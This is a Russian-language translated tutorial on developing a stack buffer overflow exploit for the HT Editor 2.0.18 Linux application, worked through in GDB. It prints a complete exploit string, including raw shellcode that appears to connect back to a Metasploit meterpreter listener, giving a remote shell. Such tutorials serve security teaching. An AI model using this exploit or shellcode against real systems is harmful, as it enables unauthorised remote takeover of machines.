20.06.2011

Разработка эксплоитов для Linux. Часть II (продолжение) – демонстрация эксплуатации переполнения буфера

image

В данном руководстве будет продемонстрирована эксплуатация переполнения буфера на примере обычного приложения. В ходе эксплуатации будут использоваться описанные в предыдущей статье техники.

Автор: sickn3ss

http://sickness.tor.hu

Перевод: SecurityLab.ru

В данном руководстве будет продемонстрирована эксплуатация переполнения буфера на примере обычного приложения. В ходе эксплуатации будут использоваться описанные в предыдущей статье техники.

Требования:

  • Наличие последней версии Debian Squeeze
  • Backtrack 4 R2 (Или любой другой дистрибутив с платформой Metasploit)
  • Понимание основных принципов работы GDB
  • Наличие сценария checksec.sh
  • Уязвимое приложение (HT Editor версии 2.0.18 или ниже)

Компиляция и проверка уязвимого приложения

Для демонстрации переполнения буфера будет использоваться приложение “HT Editor”. Его можно скачать на таких ресурсах, как exploit-db и sourceforge.net. Скачивать необходимо версию 2.0.18 или ниже.

После загрузки приложения можно приступит к компиляции:

##############################
./configure
##############################

Полученные в результате данные должны выглядеть следующим образом:

Рис. 1

Теперь необходимо отключить в Makefile функционал NX, для этого добавим флаг “-z execstack”:

Рис. 2

 
##############################
make
make install
##############################

Итак, мы установили наше приложение. Давайте посмотрим, какой защитный функционал имеется в этом приложении. Для этого воспользуемся сценарием checksec.sh (убедитесь, что полученные в результате данные выглядят как на Рис. 3)

Рис. 3

Как видим, никакой защиты здесь нет.

Открытие приложения в отладчике и вызов исключения

Откроем приложение в GDB, отправим ему мусорные данные и посмотрим, как оно себя поведет. После отправки нескольких строк с данными мы видим, что необходимое для возникновения исключения смещение равно “4108”.

Рис. 4

После отправки мусорных данных на экране может появиться окно, показанное на Рис. 5

Рис. 5

Если это случится, выполните в gdb команду “shell clear”.

Теперь давайте посмотрим на наши регистры.

Рис. 6

Мы перезаписали EBX, ESI, EDI и EIP. Обратите внимание, ESP указывает на наш буфер, который находиться немного выше.

Рис. 7

После отправки нескольких строк с мусорными данными становиться ясно, что требуемое для перезаписи EIP значение равно 4073. Давайте отправим приложению больший объем данных и еще раз вернемся к ESP.

Рис. 8

Рис. 9

ESP действительно указывает на необходимый адрес. Теперь можно приступить к созданию основы эксплоита, которая будет выглядеть примерно так:

##############################
JUNK + 4073 + EIP (перезапись инструкцией JMP/CALL %esp) + NOP Sled + SC
##############################

Выбор необходимой инструкции

Для начала, давайте найдем подходящую JMP/CALL %esp инструкцию

Рис. 10

Существует множество валидных JMP/CALL %esp инструкций. В данном руководстве выберем инструкцию“0x0818f8ff” для нашего шеллкода. В этой статье мы воспользуемся meterpreter.

Рис. 11

Так должен выглядеть получившийся эксплоит:

##############################
"\x41" * 4073 (JUNK) + "\xff\xf8\x18\x08" (JMP %esp) + "\x90" * 30 (NOP Sled) + 
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x01\
x42\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\
x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1" (Shell Code) ##############################

Настройка listener и проверка эксплоита

Для начала давайте настроим listener в Metasploit.

Рис. 12

Теперь запускаем эксплоит в GDB.

Рис. 13

Перезапуск системы и повторный запуск эксплоита

Рис. 14

Рис. 15

Рис. 16

Запущена сессия meterpreter, эксплуатация произведена успешно.

Ссылка на короткую видео демонстрацию по созданию эксплоита для Linux http://vimeo.com/22242861

comments powered by Disqus